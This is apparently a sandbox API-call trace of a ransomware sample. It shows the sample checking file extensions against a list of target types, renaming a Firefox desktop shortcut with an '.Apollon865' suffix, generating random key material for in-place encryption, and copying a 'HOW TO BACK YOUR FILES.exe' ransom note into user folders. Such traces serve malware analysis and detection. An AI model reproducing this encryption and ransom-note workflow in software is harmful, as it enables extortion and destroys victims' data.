	[0046.910] lstrcmpiW (lpString1="ox.lnk", lpString2="sqlite") returned -1
	[0046.910] lstrlenW (lpString="sqlite3") returned 7
	[0046.910] lstrcmpiW (lpString1="fox.lnk", lpString2="sqlite3") returned -1
	[0046.910] lstrlenW (lpString="sqlitedb") returned 8
	[0046.910] lstrcmpiW (lpString1="efox.lnk", lpString2="sqlitedb") returned -1
	[0046.910] lstrlenW (lpString="xml") returned 3
	[0046.910] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1
	[0046.910] lstrlenW (lpString="$er") returned 3
	[0046.910] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1
	[0046.910] lstrlenW (lpString="4dd") returned 3
	[0046.910] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1
	[0046.910] lstrlenW (lpString="4dl") returned 3
	[0046.910] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1
	[0046.910] lstrlenW (lpString="^^^") returned 3
	[0046.910] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1
	[0046.910] lstrlenW (lpString="abs") returned 3
	[0046.910] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1
	[0046.910] lstrlenW (lpString="abx") returned 3
	[0046.910] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1
	[0046.910] lstrlenW (lpString="accdb") returned 5
	[0046.910] lstrcmpiW (lpString1="x.lnk", lpString2="accdb") returned 1
	[0046.910] lstrlenW (lpString="accdc") returned 5
	[0046.911] lstrcmpiW (lpString1="x.lnk", lpString2="accdc") returned 1
	[0046.911] lstrlenW (lpString="accde") returned 5
	[0046.911] lstrcmpiW (lpString1="x.lnk", lpString2="accde") returned 1
	[0046.911] lstrlenW (lpString="accdr") returned 5
	[0046.911] lstrcmpiW (lpString1="x.lnk", lpString2="accdr") returned 1
	[0046.911] lstrlenW (lpString="accdt") returned 5
	[0046.911] lstrcmpiW (lpString1="x.lnk", lpString2="accdt") returned 1
	[0046.911] lstrlenW (lpString="accdw") returned 5
	[0046.911] lstrcmpiW (lpString1="x.lnk", lpString2="accdw") returned 1
	[0046.911] lstrlenW (lpString="accft") returned 5
	[0046.911] lstrcmpiW (lpString1="x.lnk", lpString2="accft") returned 1
	[0046.911] lstrlenW (lpString="adb") returned 3
	[0046.911] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0046.911] lstrlenW (lpString="adb") returned 3
	[0046.911] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0046.911] lstrlenW (lpString="ade") returned 3
	[0046.911] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1
	[0046.911] lstrlenW (lpString="adf") returned 3
	[0046.911] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1
	[0046.911] lstrlenW (lpString="adn") returned 3
	[0046.911] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1
	[0046.911] lstrlenW (lpString="adp") returned 3
	[0046.911] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1
	[0046.911] lstrlenW (lpString="alf") returned 3
	[0046.911] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1
	[0046.911] lstrlenW (lpString="ask") returned 3
	[0046.911] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1
	[0046.911] lstrlenW (lpString="btr") returned 3
	[0046.911] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1
	[0046.911] lstrlenW (lpString="cat") returned 3
	[0046.911] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1
	[0046.911] lstrlenW (lpString="cdb") returned 3
	[0046.911] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1
	[0046.911] lstrlenW (lpString="ckp") returned 3
	[0046.911] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1
	[0046.912] lstrlenW (lpString="cma") returned 3
	[0046.912] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1
	[0046.912] lstrlenW (lpString="cpd") returned 3
	[0046.912] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1
	[0046.912] lstrlenW (lpString="dacpac") returned 6
	[0046.912] lstrcmpiW (lpString1="ox.lnk", lpString2="dacpac") returned 1
	[0046.912] lstrlenW (lpString="dad") returned 3
	[0046.912] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1
	[0046.912] lstrlenW (lpString="dadiagrams") returned 10
	[0046.912] lstrcmpiW (lpString1="irefox.lnk", lpString2="dadiagrams") returned 1
	[0046.912] lstrlenW (lpString="daschema") returned 8
	[0046.912] lstrcmpiW (lpString1="efox.lnk", lpString2="daschema") returned 1
	[0046.912] lstrlenW (lpString="db-journal") returned 10
	[0046.912] lstrcmpiW (lpString1="irefox.lnk", lpString2="db-journal") returned 1
	[0046.912] lstrlenW (lpString="db-shm") returned 6
	[0046.912] lstrcmpiW (lpString1="ox.lnk", lpString2="db-shm") returned 1
	[0046.912] lstrlenW (lpString="db-wal") returned 6
	[0046.912] lstrcmpiW (lpString1="ox.lnk", lpString2="db-wal") returned 1
	[0046.912] lstrlenW (lpString="dbc") returned 3
	[0046.912] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1
	[0046.912] lstrlenW (lpString="dbs") returned 3
	[0046.912] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1
	[0046.912] lstrlenW (lpString="dbt") returned 3
	[0046.912] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1
	[0046.912] lstrlenW (lpString="dbv") returned 3
	[0046.912] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1
	[0046.912] lstrlenW (lpString="dbx") returned 3
	[0046.912] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1
	[0046.912] lstrlenW (lpString="dcb") returned 3
	[0046.912] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1
	[0046.912] lstrlenW (lpString="dct") returned 3
	[0046.912] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1
	[0046.912] lstrlenW (lpString="dcx") returned 3
	[0046.912] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1
	[0046.912] lstrlenW (lpString="ddl") returned 3
	[0046.913] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1
	[0046.913] lstrlenW (lpString="dlis") returned 4
	[0046.913] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1
	[0046.913] lstrlenW (lpString="dp1") returned 3
	[0046.913] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1
	[0046.913] lstrlenW (lpString="dqy") returned 3
	[0046.913] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1
	[0046.913] lstrlenW (lpString="dsk") returned 3
	[0046.913] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1
	[0046.913] lstrlenW (lpString="dsn") returned 3
	[0046.913] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1
	[0046.913] lstrlenW (lpString="dtsx") returned 4
	[0046.913] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1
	[0046.913] lstrlenW (lpString="dxl") returned 3
	[0046.913] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1
	[0046.913] lstrlenW (lpString="eco") returned 3
	[0046.913] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1
	[0046.913] lstrlenW (lpString="ecx") returned 3
	[0046.913] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1
	[0046.913] lstrlenW (lpString="edb") returned 3
	[0046.913] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1
	[0046.913] lstrlenW (lpString="epim") returned 4
	[0046.913] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1
	[0046.913] lstrlenW (lpString="fcd") returned 3
	[0046.913] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1
	[0046.913] lstrlenW (lpString="fdb") returned 3
	[0046.913] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1
	[0046.913] lstrlenW (lpString="fic") returned 3
	[0046.913] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1
	[0046.913] lstrlenW (lpString="flexolibrary") returned 12
	[0046.913] lstrcmpiW (lpString1=" Firefox.lnk", lpString2="flexolibrary") returned -1
	[0046.913] lstrlenW (lpString="fm5") returned 3
	[0046.913] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1
	[0046.913] lstrlenW (lpString="fmp") returned 3
	[0046.913] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1
	[0046.914] lstrlenW (lpString="fmp12") returned 5
	[0046.914] lstrcmpiW (lpString1="x.lnk", lpString2="fmp12") returned 1
	[0046.914] lstrlenW (lpString="fmpsl") returned 5
	[0046.914] lstrcmpiW (lpString1="x.lnk", lpString2="fmpsl") returned 1
	[0046.914] lstrlenW (lpString="fol") returned 3
	[0046.914] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1
	[0046.914] lstrlenW (lpString="fp3") returned 3
	[0046.914] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1
	[0046.914] lstrlenW (lpString="fp4") returned 3
	[0046.914] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1
	[0046.914] lstrlenW (lpString="fp5") returned 3
	[0046.914] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1
	[0046.914] lstrlenW (lpString="fp7") returned 3
	[0046.914] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1
	[0046.914] lstrlenW (lpString="fpt") returned 3
	[0046.914] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1
	[0046.914] lstrlenW (lpString="frm") returned 3
	[0046.914] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1
	[0046.914] lstrlenW (lpString="gdb") returned 3
	[0046.914] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0046.914] lstrlenW (lpString="gdb") returned 3
	[0046.914] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0046.914] lstrlenW (lpString="grdb") returned 4
	[0046.914] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1
	[0046.914] lstrlenW (lpString="gwi") returned 3
	[0046.914] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1
	[0046.914] lstrlenW (lpString="hdb") returned 3
	[0046.914] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1
	[0046.914] lstrlenW (lpString="his") returned 3
	[0046.914] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1
	[0046.914] lstrlenW (lpString="ib") returned 2
	[0046.914] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1
	[0046.914] lstrlenW (lpString="idb") returned 3
	[0046.914] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1
	[0046.914] lstrlenW (lpString="ihx") returned 3
	[0046.915] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1
	[0046.915] lstrlenW (lpString="itdb") returned 4
	[0046.915] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1
	[0046.915] lstrlenW (lpString="itw") returned 3
	[0046.915] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1
	[0046.915] lstrlenW (lpString="jet") returned 3
	[0046.915] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1
	[0046.915] lstrlenW (lpString="jtx") returned 3
	[0046.915] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1
	[0046.915] lstrlenW (lpString="kdb") returned 3
	[0046.915] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1
	[0046.915] lstrlenW (lpString="kexi") returned 4
	[0046.915] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1
	[0046.915] lstrlenW (lpString="kexic") returned 5
	[0046.915] lstrcmpiW (lpString1="x.lnk", lpString2="kexic") returned 1
	[0046.915] lstrlenW (lpString="kexis") returned 5
	[0046.915] lstrcmpiW (lpString1="x.lnk", lpString2="kexis") returned 1
	[0046.915] lstrlenW (lpString="lgc") returned 3
	[0046.915] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1
	[0046.915] lstrlenW (lpString="lwx") returned 3
	[0046.915] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1
	[0046.915] lstrlenW (lpString="maf") returned 3
	[0046.915] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1
	[0046.915] lstrlenW (lpString="maq") returned 3
	[0046.915] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1
	[0046.915] lstrlenW (lpString="mar") returned 3
	[0046.915] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1
	[0046.915] lstrlenW (lpString="marshal") returned 7
	[0046.915] lstrcmpiW (lpString1="fox.lnk", lpString2="marshal") returned -1
	[0046.915] lstrlenW (lpString="mas") returned 3
	[0046.915] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1
	[0046.915] lstrlenW (lpString="mav") returned 3
	[0046.915] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1
	[0046.915] lstrlenW (lpString="maw") returned 3
	[0046.915] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1
	[0046.916] lstrlenW (lpString="mdbhtml") returned 7
	[0046.916] lstrcmpiW (lpString1="fox.lnk", lpString2="mdbhtml") returned -1
	[0046.916] lstrlenW (lpString="mdn") returned 3
	[0046.916] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1
	[0046.916] lstrlenW (lpString="mdt") returned 3
	[0046.916] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1
	[0046.916] lstrlenW (lpString="mfd") returned 3
	[0046.916] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1
	[0046.916] lstrlenW (lpString="mpd") returned 3
	[0046.916] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1
	[0046.916] lstrlenW (lpString="mrg") returned 3
	[0046.916] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1
	[0046.916] lstrlenW (lpString="mud") returned 3
	[0046.916] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1
	[0046.916] lstrlenW (lpString="mwb") returned 3
	[0046.916] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1
	[0046.916] lstrlenW (lpString="myd") returned 3
	[0046.916] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1
	[0046.916] lstrlenW (lpString="ndf") returned 3
	[0046.916] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1
	[0046.916] lstrlenW (lpString="nnt") returned 3
	[0046.916] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1
	[0046.916] lstrlenW (lpString="nrmlib") returned 6
	[0046.916] lstrcmpiW (lpString1="ox.lnk", lpString2="nrmlib") returned 1
	[0046.916] lstrlenW (lpString="ns2") returned 3
	[0046.916] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1
	[0046.916] lstrlenW (lpString="ns3") returned 3
	[0046.916] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1
	[0046.916] lstrlenW (lpString="ns4") returned 3
	[0046.916] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1
	[0046.916] lstrlenW (lpString="nsf") returned 3
	[0046.916] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1
	[0046.916] lstrlenW (lpString="nv") returned 2
	[0046.916] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1
	[0046.916] lstrlenW (lpString="nv2") returned 3
	[0046.917] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1
	[0046.917] lstrlenW (lpString="nwdb") returned 4
	[0046.917] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1
	[0046.917] lstrlenW (lpString="nyf") returned 3
	[0046.917] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1
	[0046.917] lstrlenW (lpString="odb") returned 3
	[0046.917] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0046.917] lstrlenW (lpString="odb") returned 3
	[0046.917] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0046.917] lstrlenW (lpString="oqy") returned 3
	[0046.917] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1
	[0046.917] lstrlenW (lpString="ora") returned 3
	[0046.917] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1
	[0046.917] lstrlenW (lpString="orx") returned 3
	[0046.917] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1
	[0046.917] lstrlenW (lpString="owc") returned 3
	[0046.917] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1
	[0046.917] lstrlenW (lpString="p96") returned 3
	[0046.917] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1
	[0046.917] lstrlenW (lpString="p97") returned 3
	[0046.917] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1
	[0046.917] lstrlenW (lpString="pan") returned 3
	[0046.917] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1
	[0046.917] lstrlenW (lpString="pdb") returned 3
	[0046.917] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1
	[0046.917] lstrlenW (lpString="pdm") returned 3
	[0046.917] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1
	[0046.917] lstrlenW (lpString="pnz") returned 3
	[0046.917] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1
	[0046.917] lstrlenW (lpString="qry") returned 3
	[0046.917] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1
	[0046.917] lstrlenW (lpString="qvd") returned 3
	[0046.917] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1
	[0046.917] lstrlenW (lpString="rbf") returned 3
	[0046.917] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1
	[0046.918] lstrlenW (lpString="rctd") returned 4
	[0046.918] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1
	[0046.918] lstrlenW (lpString="rod") returned 3
	[0046.918] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1
	[0046.918] lstrlenW (lpString="rodx") returned 4
	[0046.918] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1
	[0046.918] lstrlenW (lpString="rpd") returned 3
	[0046.918] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1
	[0046.918] lstrlenW (lpString="rsd") returned 3
	[0046.918] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1
	[0046.918] lstrlenW (lpString="sas7bdat") returned 8
	[0046.918] lstrcmpiW (lpString1="efox.lnk", lpString2="sas7bdat") returned -1
	[0046.918] lstrlenW (lpString="sbf") returned 3
	[0046.918] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1
	[0046.918] lstrlenW (lpString="scx") returned 3
	[0046.918] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1
	[0046.918] lstrlenW (lpString="sdb") returned 3
	[0046.918] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1
	[0046.918] lstrlenW (lpString="sdc") returned 3
	[0046.918] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1
	[0046.918] lstrlenW (lpString="sdf") returned 3
	[0046.918] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1
	[0046.918] lstrlenW (lpString="sis") returned 3
	[0046.918] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1
	[0046.918] lstrlenW (lpString="spq") returned 3
	[0046.918] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1
	[0046.918] lstrlenW (lpString="te") returned 2
	[0046.918] lstrcmpiW (lpString1="nk", lpString2="te") returned -1
	[0046.918] lstrlenW (lpString="teacher") returned 7
	[0046.918] lstrcmpiW (lpString1="fox.lnk", lpString2="teacher") returned -1
	[0046.918] lstrlenW (lpString="tmd") returned 3
	[0046.918] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1
	[0046.918] lstrlenW (lpString="tps") returned 3
	[0046.918] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1
	[0046.918] lstrlenW (lpString="trc") returned 3
	[0046.919] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0046.919] lstrlenW (lpString="trc") returned 3
	[0046.919] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0046.919] lstrlenW (lpString="trm") returned 3
	[0046.919] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1
	[0046.919] lstrlenW (lpString="udb") returned 3
	[0046.919] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1
	[0046.919] lstrlenW (lpString="udl") returned 3
	[0046.919] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1
	[0046.919] lstrlenW (lpString="usr") returned 3
	[0046.919] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1
	[0046.919] lstrlenW (lpString="v12") returned 3
	[0046.919] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1
	[0046.919] lstrlenW (lpString="vis") returned 3
	[0046.919] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1
	[0046.919] lstrlenW (lpString="vpd") returned 3
	[0046.919] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1
	[0046.919] lstrlenW (lpString="vvv") returned 3
	[0046.919] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1
	[0046.919] lstrlenW (lpString="wdb") returned 3
	[0046.919] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1
	[0046.919] lstrlenW (lpString="wmdb") returned 4
	[0046.919] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1
	[0046.919] lstrlenW (lpString="wrk") returned 3
	[0046.919] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1
	[0046.919] lstrlenW (lpString="xdb") returned 3
	[0046.919] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1
	[0046.919] lstrlenW (lpString="xld") returned 3
	[0046.919] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1
	[0046.919] lstrlenW (lpString="xmlff") returned 5
	[0046.919] lstrcmpiW (lpString1="x.lnk", lpString2="xmlff") returned -1
	[0046.919] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk.Apollon865") returned 54
	[0046.919] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), lpNewFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk.Apollon865" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk.apollon865"), dwFlags=0x1) returned 1
	[0046.920] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk.Apollon865" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0046.920] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1157) returned 1
	[0046.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0046.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0046.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0046.921] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0046.921] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0046.921] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.922] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x790, lpName=0x0) returned 0x160
	[0046.922] MapViewOfFile (hFileMappingObject=0x160, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x790) returned 0x120000
	[0046.922] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0046.923] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0046.923] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.923] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0046.923] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0046.923] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.923] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5ba970
	[0046.923] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.923] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baa88
	[0046.923] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0046.923] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baa88 | out: hHeap=0x580000) returned 1
	[0046.923] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0046.923] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba970 | out: hHeap=0x580000) returned 1
	[0046.923] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0046.923] CloseHandle (hObject=0x160) returned 1
	[0046.923] CloseHandle (hObject=0x15c) returned 1
	[0046.925] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0046.925] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0046.925] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0046.925] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 0
	[0046.925] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0046.925] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a30
	[0046.926] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default User", iMaxLength=260 | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User"
	[0046.926] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7df0 | out: hHeap=0x580000) returned 1
	[0046.926] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a28 | out: hHeap=0x580000) returned 1
	[0046.926] lstrlenW (lpString="C:\\Users\\Default User") returned 21
	[0046.926] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User"
	[0046.926] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.926] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0046.926] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0046.926] GetLastError () returned 0x0
	[0046.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0046.926] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0046.926] CloseHandle (hObject=0x14c) returned 1
	[0046.927] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0046.927] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
